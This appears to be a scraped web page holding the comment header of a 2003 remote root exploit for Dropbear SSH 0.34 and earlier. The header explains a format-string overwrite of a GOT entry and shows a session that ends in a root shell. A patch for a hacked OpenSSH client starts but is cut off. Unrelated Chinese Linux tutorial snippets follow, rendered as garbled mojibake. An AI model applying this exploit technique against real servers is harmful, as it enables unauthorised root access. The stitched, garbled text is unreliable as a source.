Linux x86 Dropbear SSH <= 0.34 remote root exploit
/*
* /*
* Linux x86 Dropbear SSH <= 0.34 remote root exploit
* coded by live
*
* You'll need a hacked ssh client to try this out. I included a patch
* to openssh-3.6.p1 somewhere below this comment.
*
* The point is: the buffer being exploited is too small(25 bytes) to hold our
* shellcode, so a workaround was needed in order to send it. What I did here
* was to hack the ssh client so that it sends the local environment variable
* SHELLCODE as ssh's methodname string. This method was described by Joel
* Eriksson @ 0xbadc0ded.org.
*
* The 25 bytes limitation is also the reason for the the strange ``2 byte''
* retaddr you will see here. That's not enough for complete pointer overwrite,
* so I decided to overwrite 3rd and 2nd bytes and hope our shellcode is
* around ;)
*
* % telnet localhost 22
* Trying 127.0.0.1...
* Connected to localhost.
* Escape character is '^]'.
* SSH-2.0-dropbear_0.34
* ^]
* telnet> quit
* Connection closed.
*
* % objdump -R /usr/local/sbin/dropbear| grep malloc
* 080673bc R_386_JUMP_SLOT malloc
*
* % drop-root -v24 localhost
* ?.2022u%24$hn@localhost's password:
* Connection closed by 127.0.0.1
*
* % telnet localhost 10275
* Trying 127.0.0.1...
* Connected to localhost.
* Escape character is '^]'.
* id; exit;
* uid=0(root) gid=0(root) groups=0(root)
* Connection closed by foreign host.
*
* In the above example we were able to lookup a suitable .got entry(used as
* retloc here), but this may not be true under a hostile environment. If
* exploiting this remotely I feel like chances would be greater if we attack
* the stack, but that's just a guess.
*
* Version pad is 24 to 0.34, 12 to 0.32. I don't know about other versions.
*
* gr33tz: ppro, alcaloide and friends.
*
* 21.08.2003
* Please do not distribute
*/
/*
--- sshconnect2.c2003-08-21 21:34:03.000000000 -0300
+++ sshconnect2.c.hack2003-08-21 21:33:47.000000
Ïà¹ØÎĵµ£º
7.5. Tasklets »úÖÆ
ÉÏÒ»Ò³
µÚ 7 Õ ʱ¼ä, ÑÓʱ, ºÍÑÓºó¹¤×÷
ÏÂÒ»Ò³
http://lsec.cc.ac.cn/~tengfei/doc/ldd3/index.html
Linux É豸Çý¶¯ Edition 3
7.5. Tasklets »úÖÆ
ÁíÒ»¸öÓйØÓÚ¶¨Ê±ÎÊÌâµÄÄÚºËÉèÊ©ÊÇ tasklet »úÖÆ. Ëü´ó²¿·ÖÓÃÔÚÖжϹÜÀí(ÎÒÃǽ«ÔÚµÚ 10 ÕÂÔٴμûµ½). ......
´óÖÂÃüÁîÈçÏ£º
tar xvfj lichuanhua.tar.bz2
tar xvfz lichuanhua.tar.gz
tar xvfz lichuanhua.tgz
tar xvf lichuanhua.tar
unzip & ......
linuxϵͳÖжÔÐźŵĴ¦ÀíÖ÷ÒªÊÇsignal ºÍsigactionº¯ÊýÀ´Íê³É£¬pauseÓÃÀ´ÏìÓ¦ÈκÎÐźţ¬µ«²»×öÈκδ¦Àí¡£
1¡£signalº¯Êý
¸Ãº¯ÊýÓÃÀ´ÉèÖýø³ÌÔÚ½Óµ½Ðźŵ͝×÷¡£¿ÉÒÔ man signal²é¿´¾ßÌåÓ÷¨£¬ÏÖÔÚ¶ÔÆäÓ÷¨ÑÝʾ£¬
SIGKILL SIGSTOPÊDz»Äܱ»²¶×½ºÍºöÂÔµÄÐź ......
ÎÒÃÇÖªµÀÅжÏÒ»¸öϵͳµÄ¸ºÔØ¿ÉÒÔʹÓÃtop£¬uptimeµÈÃüÁîÈ¥²é¿´£¬Ëü·Ö±ð¼Ç¼ÁËÒ»·ÖÖÓ¡¢Îå·ÖÖÓ¡¢ÒÔ¼°Ê®Îå·ÖÖÓµÄϵͳƽ¾ù¸ºÔØ¡£
¡¡¡¡Äã¿ÉÄܶÔÓÚ Linux µÄ¸ºÔؾùÖµ(load averages)ÒÑÓÐÁ˳ä·ÖµÄÁ˽⡣¸ºÔؾùÖµÔÚ uptime »òÕß top ÃüÁîÖпÉÒÔ¿´µ½£¬ËüÃÇ¿ÉÄÜ»áÏÔʾ³ÉÕâ¸öÑù×Ó£º
¡¡¡¡
Shell´úÂë
load average: 0.0 ......